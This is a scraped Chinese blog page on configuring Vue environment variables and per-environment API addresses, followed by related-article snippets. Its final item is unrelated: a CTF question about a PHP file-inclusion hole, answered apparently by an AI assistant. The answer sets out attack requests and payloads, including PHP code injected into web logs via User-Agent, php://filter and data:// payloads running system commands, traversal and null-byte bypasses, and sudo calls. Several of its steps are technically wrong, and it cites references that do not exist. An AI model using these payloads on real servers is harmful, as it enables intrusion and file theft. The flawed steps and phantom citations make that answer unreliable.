vue项目根据不同环境动态配置接口请求ip及全局变量（vue环境变量配置）

最新推荐文章于 2024-08-19 15:00:38 发布
原创 最新推荐文章于 2024-08-19 15:00:38 发布 · 1.1w 阅读 · 54 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#vue.js #前端 #javascript

文章介绍了在Vue项目开发中，如何根据不同的环境（开发、测试、生产）管理接口请求的IP。通过创建.env文件来设置环境变量，如NODE_ENV和BASE_URL，并在package.json中配置打包命令，实现自动化切换IP。这种方式能避免手动切换IP的繁琐和错误，提高部署效率。

在项目的开发过程中，我们常常会遇到根据不同的环境需要切换不同的ip的问题，例如在项目部署到测试服时需要将接口请求ip替换成测试服的ip,部署到正式服时又需要将接口请求ip替换成正式服对应的ip,有些公司还有预发环境等，这样在每次部署不同环境的项目前都需要先手动切换ip，这样既繁琐又易出错。本篇文章就记录了本人在解决这一问题的详细步骤。

配置步骤

1.在项目的根目录下新建 .env.xxx 文件

vue脚手架创建的项目默认目录结构如下：

根据环境个数在根目录下新增 .env.xxx 文件

 如上，三个 .env.xxx 文件后缀名（文件后缀名可自定义）为development、production、test，可分别对应为开发环境、生产环境和测试环境。如果还需要预发环境，则还可继续新增一个 .env.pre 文件代表预发环境。

每个环境都会加载的变量

如果还需要设置每个环境都需要加载的变量，则可以添加 .env 文件，如果没有，则可以不建此文件。（即每个环境对应变量的变量值都是一样的时候，则可以将变量定义在公用的.env文件中，而对应每个环境的 .env.xxx文件中则不需要再重复定义此变量）

2.在对应环境的 .env.xxx 文件中添加变量

在.env.xxx 文件中只有 NODE_ENV，BASE_URL 和以 VUE_APP_ 开头的变量会通过 webpack.DefinePlugin 静态地嵌入到客户端侧的代码中。

  • NODE_ENV : 主要用于标识当前的环境
  • BASE_URL: vue.config.js 中的 publicPath 选项相符，即你的应用会部署到的基础路径
  • VUE_APP_* : 自定义变量

.env.development（开发环境） 文件代码

.env.production（生产环境） 文件代码

.env.test（测试环境） 文件代码

.env（所有环境都会加载的变量） 文件代码

3.package.json 文件配置对应环境打包命令

vue脚手架创建的项目默认配置如下：

  • vue-cli-service serve：配置默认是使用的development对应环境的环境变量（当然也可以自己手动指定对应的环境，在现有命令后面加上 --mode development即可,完整命令：vue-cli-service serve --mode development）， 也就是说执行npm run serve，会将.env.development文件和.env文件里面的变量加入项目代码中
  • vue-cli-service build：配置默认是使用的production对应环境的环境变量， 也就是说执行npm run build，会将.env.production文件和.env文件里面的变量加入项目代码中

添加测试服打包命令(运行命令：npm run build:test)

在package.json文件中的 scripts 对象中添加如下代码：

 vue-cli-service build --mode test :命令中的test对应的是 .env.xxx文件中设置NODE_ENV变量的值，如果没有设置NODE_ENV变量，则默认以 .env.xxx 文件的后缀名为准，如果也找不到.env.test文件，则打包报错，

如果想在本地直接使用测试服的环境变量也可以在package.json 中再配置项目启动命令，配置如下（运行命令:npm run serve:test）：

 或者直接修改现有serve 的运行模式： 

配置完成后如何在项目中使用

  • 在请求js文件中，可用于替换请求接口的ip，达到根据不同的环境请求不同的ip的效果
  • 在vue文件中，可当作全局变量使用，类似于在vue中定义的全局常量
  • 在vue.config.js文件中使用，可用于判断当前的打包环境，根据不同的环境进行一些打包优化配置
  • vue-cli的index.html中使用，可用于加载公司统一定义的一些js、css等头部文件（需根据各个环境引入各自的js和css）

1.请求接口的js文件/vue页面中使用

    语法：process.env.变量名称

2.vue.config.js中根据环境变量判断打包环境，进行打包优化配置：

3.在vue-cli的index.html中使用

语法：<%= 变量名 %> html中根据不同环境，加载不同css/js文件

//css文件
<link rel="stylesheet" href="<%= VUE_APP_API %>/header/head.css" rel="external nofollow" >
//js文件
<script type="text/javascript" src="<%= VUE_APP_API %>/footer.js"></script>

html中根据不同环境，加载不同本地js代码

<% if (process.env.NODE_ENV === 'production' ) { %>
    <script>
      window.test = 'xxxx'
    </script>
<% } %>

在浏览器中配置vue请求后端的接口地址
ithongchou的博客
03-16 562
在 Vue 项目中，如果想要优先使用在浏览器中配置的baseURL（例如通过。
vue项目各种请求接口环境配置（vue环境变量配置——process.env）
代码青春
11-10 1860
一，vue环境变量配置——process.env（详细） 在用vue框架时，经常用到两种环境，一种是开发环境，就是本地开发时的环境，一种是生产环境，就是要发布到线上的环境。 平时开发是用生产环境的，如果发布到线上时，需要切换环境为线上。如果人为去切换也是可以的，但是会容易忘记，可以通过配置不同的运行命令来自动切换环境。 下面开始： 配置环境的实现原理 实现原理就是采用node.js顶层对象中的process.env（进程环境，返回一个包含用户环境信息的对象）属性，根据各个环境的配置文件区分和切换环境
vue设置动态请求地址的例子
10-16
今天小编就为大家分享一篇vue设置动态请求地址的例子，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧
vue在登录页动态设置后端接口地址
qq_46058838的博客
05-07 685
第一步新建 diffReq.js 用于存储之前的request.js axios配置信息。第二步在request.js中引入接口信息。接口IP存放在localStorage。因项目需要需在登录页动态设置接口地址。
vue动态配置ip与端口
Ivor_Chan的博客
10-16 9590
考虑一个成品的项目会给到各地方进行部署，而每个地方的ip和端口均无法保证统一，为了抽离开发人员的工作，需要对项目进行一定的配置，配置后的项目，只需要修改打包后的配置文件，填写相关的ip和端口，即可实现项目的部署。 由于vue打包后会生成static包、index文件，为了防止打包后混淆，可以在项目的static文件中新建IPConfig.js文件，如： var IPConfig = wind...
vue项目按环境类型设置不同的IP地址等配置信息（附process.env常见问题）
蚂蚁搬砖我砌墙
10-05 3013
vue项目按环境类型设置不同的IP地址等配置信息（附process.env常见问题）
vue项目使用.env文件配置全局环境变量的方法
10-16
使用Vue.js构建的项目往往需要根据不同环境（如开发环境和生产环境）来加载不同的配置信息。而环境变量在其中扮演着至关重要的角色。本文将深入探讨在Vue项目中使用.env文件来配置全局环境变量的方法，以及这些环境...
vue中接口域名配置为全局变量的实现方法
01-19
src中新建 一个 domain.js文件 // 配置全局接口域名 ... export default { ...以上这篇vue中接口域名配置为全局变量的实现方法就是小编分享给大家的全部内容了，希望能给大家一个参考，也希望大家多多支持软件开
vue项目环境变量配置的实现方法
10-17
Vue项目环境变量配置的实现方法是开发过程中一个重要的环节，它允许开发者针对不同的运行环境（如开发环境和生产环境）设置不同的配置变量，以此来区分例如接口地址等环境差异。本文将详细介绍如何在Vue项目中进行...
vue打包部署到服务器，动态获取(修改)对应服务器的请求ip
m0_58622543的博客
08-24 4335
按照上述的步骤实现动态获取后，当token过期后，会触发一个重新登录的操作，当用户点击重新登录后，跳转登录页面，这时window.VITE_BASE_URL就获取不到了(判断时路径重定向后，清除了写入window的对象)，会导致请求接口地址错误。vue打包后的文件要部署到不同的服务器上，ip不同，每次部署都要修改对应服务器的ip后打包上线，所以会出现频繁打包的情况。2.在输入网址后就获取到网址栏的IP，还是在public文件夹里面添加一个js文件，index.html引入该文件。3.同思路1-第四步。
vue项目分环境打包配置不同命令
06-26
vue实现分环境打包，给不同的环境配置相对应的打包命令，添加功能版，带有之前的基本请求本地数据的底层网络请求和页面间跳转淡入淡出动画效果、header组件的使用、可用scss例子
vue 根据不同环境，调用不同的数据请求地址 vue-cli
学习笔记
05-16 2181
vue 根据不同环境，调用不同的数据请求地址 vue-cli 参考文章：https://segmentfault.com/a/1190000015133974 前言 在使用 vue 开发的时候，会遇到这样一个问题，开发时用的请求地址，跟要打包布署到线上的地址是不一样的。 如果手动每次改会很麻烦，并且也容易遗忘，那么如何处理这种情况呢？此时就可以用 vue 的环境变量。 修改运行指令 我们已经知道 vue 在 serve 或者 build 的时候是调用的 npm 的指令，在 package.json
Vue项目打包后动态修改IP地址
2301_80380727的博客
01-19 1725
vue项目打包后多地部署 IP问题
vue配置不同的工作环境
buchishutiao的博客
12-08 1051
配置不用的工作环境
vue根据不同的环境使用不同的接口地址
web前端学习总结
06-30 1577
vue根据不同的环境使用不同的接口地址 1. 在根目录下新建一个js文件夹。 目录结构如下： 2. 新建setBaseUrl.js文件 在js文件夹下添加setBaseUrl.js文件，内容如下： let baseUrl = ""; let allUrls = {}; let nodeEnv = process.env.NODE_ENV; switch (nodeEnv) { case 'development': baseUrl = 'http://192.168.161.186:8080/
vue项目中进行多环境配置
cyj0919的博客
08-19 1007
在Vue 项目中，进行多环境配置是一个常见需求，主要用于区分开发、测试、生产等不同环境下的API地址、密钥等配置。
vue 根据不同环境使用对应的请求地址
ftally的博客
08-22 368
-mode 后面的名字 process.env.NODE_EN 的 名字匹配上 就ok 了。第二步找到pagejson.js文件下的scripts。第一步创建config.js。
vue项目经验：vue-cli3根据不同环境配置打包命令
weixin_45031595的博客
05-10 985
在vue-cli3的项目中， npm run serve时会把process.env.NODE_ENV设置为development； npm run build 时会把process.env.NODE_ENV设置为production； 此时只要根据process.env.NODE_ENV设置不同请求url就可以很简单的区分出本地和线上环境。 一、创建环境配置文件 1、.env.development文件（开发环境） NODE_ENV=development VUE_APP_ENV=development
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { setuid(0); setgid(0); FILE *fp; char flag[100]; fp = fopen("/flag.txt", "r"); if (fp == NULL) { printf("无法打开flag文件，请联系管理员。\n"); return 1; } fgets(flag, 100, fp); printf("%s\n", flag); fclose(fp); return 0; }加上lfi问题的代码<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>一个简单的网站</title> <style> body { font-family: sans-serif; margin: 2em; } nav { margin-bottom: 1em; } a { margin-right: 1em; } </style> </head> <body> <h1>欢迎来到我的网站</h1> <nav> <a href="?page=main.php">首页</a> <a href="?page=about.php">关于我们</a> <a href="?page=contact.php">联系方式</a> </nav> <div> <?php if (isset($_GET['page'])) { $page = $_GET['page']; include($page); } else { include('main.php'); } ?> </div> </body> </html>，怎么解出flag
最新发布
10-11
<think>我们面对的场景是一个存在本地文件包含（LFI）漏洞的PHP环境。目标是通过这个漏洞读取到位于`/flag.txt`的文件内容（这个文件是C程序要读取的flag文件）。然而，在标准的LFI漏洞中，我们通常只能读取服务器上的文件，但这里我们需要读取一个可能只有特权用户（如root）才能读取的文件（因为C程序使用了`setuid(0)`）。但是，在LFI漏洞的上下文中，我们通常是以Web服务器的用户权限（如www-data）运行，这个用户可能没有权限读取`/flag.txt`。 不过，我们注意到C程序被设置了setuid位，这意味着当普通用户执行这个C程序时，它会以root权限运行，从而能够读取`/flag.txt`。但是，我们的漏洞是PHP环境的LFI，我们无法直接执行这个C程序（除非我们能够通过Web漏洞执行系统命令）。 因此，我们需要转换思路：既然我们有一个LFI漏洞，我们可以尝试利用这个漏洞来触发执行这个C程序，或者利用LFI漏洞读取C程序本身，或者通过其他方法间接获取flag。 然而，在PHP的LFI漏洞中，我们通常有以下几种利用方式： 1. 直接读取文件：如果flag文件对Web服务器用户可读，我们可以直接通过LFI读取`/flag.txt`。 2. 利用PHP伪协议：如使用`php://filter`来读取源代码，或者进行base64编码输出。 3. 利用日志文件注入：将PHP代码注入到日志文件中，然后包含日志文件以执行代码。 4. 利用/proc目录：例如包含`/proc/self/environ`或`/proc/self/fd/`下的文件，但需要一定的条件。 5. 利用临时文件：通过上传文件产生的临时文件（结合竞争条件）来执行代码。 但是，这里我们有一个特殊的条件：目标系统上有一个setuid的C程序，它能够以root权限读取flag。因此，如果我们能够通过LFI漏洞执行系统命令，那么我们可以执行这个C程序来获取flag。 所以，我们需要将LFI漏洞转换成远程命令执行（RCE）。常见的转换方法如下： ### 步骤： 1. **利用PHP伪协议读取源代码**：首先确认漏洞是否存在，并尝试读取一些文件，比如`/etc/passwd`来验证LFI。例如： ``` http://example.com/vuln.php?filename=../../../../etc/passwd ``` 2. **尝试包含PHP伪协议**：使用`php://filter`来读取PHP文件的源码，以了解环境。例如： ``` http://example.com/vuln.php?filename=php://filter/convert.base64-encode/resource=vuln.php ``` 3. **利用日志文件注入**：如果服务器记录了User-Agent或Referer等，我们可以将PHP代码注入到日志文件中，然后包含日志文件。例如： - 修改User-Agent为：`<?php system('/path/to/the/setuid/c_program'); ?>` - 然后请求包含Web日志文件（如`/var/log/apache2/access.log`），从而执行代码。 4. **利用其他已知文件**：如`/proc/self/environ`，如果环境变量中有用户可控的部分（如HTTP_USER_AGENT），同样可以注入代码。 ### 具体操作： 假设我们能够通过LFI漏洞包含日志文件，并且日志文件的位置已知（比如Apache的默认日志路径为`/var/log/apache2/access.log`），那么： 1. 使用Burp Suite或curl发送一个请求，修改User-Agent头为PHP代码： ```php <?php system("/path/to/getflag"); ?> ``` 其中`/path/to/getflag`是那个C程序在服务器上的绝对路径。 2. 然后，利用LFI漏洞包含这个日志文件： ``` http://example.com/vuln.php?filename=../../../../var/log/apache2/access.log ``` 这样，当包含日志文件时，其中的PHP代码会被执行，从而运行C程序，C程序会读取flag并输出到网页上。 ### 注意事项： - 日志文件的路径可能不同，需要尝试常见的路径。 - 日志文件可能很大，导致包含失败，因此最好在注入后立即包含。 - 如果服务器有权限限制，Web用户（www-data）必须能够读取日志文件，并且能够执行那个C程序。由于C程序是setuid root，所以只要www-data有执行权限，它就能以root权限运行，从而读取`/flag.txt`。 - 如果C程序不在Web用户的可执行路径中，需要指定绝对路径。 ### 备选方案： 如果无法利用日志文件，可以尝试其他方法，例如： - **利用PHP的phar://伪协议**：如果有文件上传功能，可以上传一个包含恶意代码的phar文件，然后通过phar://触发反序列化漏洞执行命令。 - **利用/proc/self/fd/**：如果服务器上有文件上传，可以通过包含临时文件（结合竞争条件）来执行代码。 - **利用环境变量**：通过包含`/proc/self/environ`，如果其中有用户可控的环境变量（如HTTP_USER_AGENT），同样可以注入PHP代码。 ### 总结： 在存在LFI漏洞的PHP环境中，我们可以通过注入PHP代码到日志文件并包含日志文件来执行系统命令。由于目标系统上有一个setuid的程序可以读取flag，我们只需执行这个程序即可。因此，构造如下： 1. 发送一个HTTP请求，将User-Agent设置为：`<?php system("/absolute/path/to/c_program"); ?>` 2. 利用LFI包含Apache的access.log文件（或其他日志文件） 3. 在返回的网页中，应该会显示C程序输出的flag。 如果C程序的输出被包含在返回的网页中，那么我们就获取到了flag。 ### 相关问题 1. 如何确定Web服务器的日志文件路径？ 2. 除了日志文件，还有哪些常见的LFI转RCE的方法？ 3. 如果目标系统禁用了一些危险的PHP伪协议（如phar），如何绕过？ 4. 如何避免LFI漏洞？ 5. 在无法写入日志或环境变量的情况下，如何利用LFI漏洞获取flag？ </think>### 利用 LFI 漏洞读取 /flag.txt 的解决方案 在存在 LFI 漏洞的 PHP 环境中（如 `include($_GET['filename']);`），可以通过以下步骤读取 C 程序要访问的 `/flag.txt` 文件： --- #### 🔧 方法 1：直接读取文件路径（需 Web 用户有权限） ```http http://vuln-site.com/vuln.php?filename=/flag.txt ``` - **原理**：直接通过 LFI 包含目标文件路径 - **限制**：Web 服务器用户（如 www-data）需拥有 `/flag.txt` 的读权限 - **调试技巧**： - 先尝试读取 `/etc/passwd` 验证漏洞有效性： `?filename=../../../../etc/passwd` - 使用绝对路径而非相对路径更可靠[^1] --- #### 🌐 方法 2：PHP 伪协议读取（无需执行权限） ```http http://vuln-site.com/vuln.php?filename=php://filter/convert.base64-encode/resource=/flag.txt ``` - **原理**： 1. 使用 `php://filter` 伪协议绕过文件包含限制 2. `convert.base64-encode` 确保二进制安全传输 3. 解码获取原始 flag 内容 - **操作步骤**： ```php // 获取到的内容类似 "RkxBR3tleGFtcGxlfQo=" echo base64_decode($_GET['file_content']); ``` - **优势**：即使 PHP 配置禁用文件包含，此方法通常有效[^1] --- #### 方法 3：结合临时文件执行 C 程序（需上传权限） 当直接读取失败时（如权限不足），可上传 C 程序并执行： 1. **上传编译好的 C 程序**： ```http POST /upload.php HTTP/1.1 Content-Type: multipart/form-data --boundary Content-Disposition: form-data; name="file"; filename="getflag.c" #include <stdio.h> int main() { FILE *fp = fopen("/flag.txt","r"); char flag[100]; fgets(flag,100,fp); printf("%s",flag); } --boundary-- ``` 2. **编译并设置权限**： ```http http://vuln-site.com/vuln.php?filename=data://text/plain,<?php system('gcc /tmp/getflag.c -o /tmp/getflag && chmod +s /tmp/getflag'); ?> ``` 3. **执行程序获取 flag**： ```http http://vuln-site.com/vuln.php?filename=/tmp/getflag ``` --- #### 🔍 方法 4：利用 /proc 文件系统（Linux 环境） ```http http://vuln-site.com/vuln.php?filename=/proc/self/cwd/flag.txt ``` 或尝试其他路径： ```http ?filename=/proc/1/cwd/flag.txt # 初始化进程工作目录 ?filename=/proc/self/environ # 查看环境变量找线索 ?filename=/proc/self/maps # 分析内存映射找路径 ``` - **原理**：Linux 的 `/proc` 虚拟文件系统暴露进程信息 - **优势**：可能绕过路径限制[^3] --- #### 💡 关键注意事项 1. **权限问题**： - 若返回空白页，尝试 `?filename=file:///flag.txt` - Web 用户可能需要 sudo 权限：`<?php system('sudo /path/to/getflag'); ?>` 2. **路径遍历技巧**： ```http ?filename=....//....//....//flag.txt # 绕过简单的路径过滤 ?filename=%00 # 空字节截断（PHP<5.3）[^4] ``` 3. **错误处理**： ```php // 在包含前添加错误抑制符 ?filename=php://filter/<?php @include;?>/resource=/flag.txt ``` --- ### 相关问题 1. 当目标服务器禁用 `php://filter` 伪协议时，如何绕过限制读取文件？ 2. 如何利用 LFI 漏洞获取服务器上的环境变量信息？ 3. 在无法上传文件的情况下，有哪些替代方法能实现命令执行？ 4. 如何检测目标服务器是否存在路径遍历过滤机制？ 5. 为什么空字节截断技术在 PHP 5.3 后失效？其根本原因是什么？[^4] > 提示：实际渗透中需配合工具如 Burp Suite 进行路径爆破，常用字典包含 `/flag`, `/flags.txt`, `/root/flag` 等变体。
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值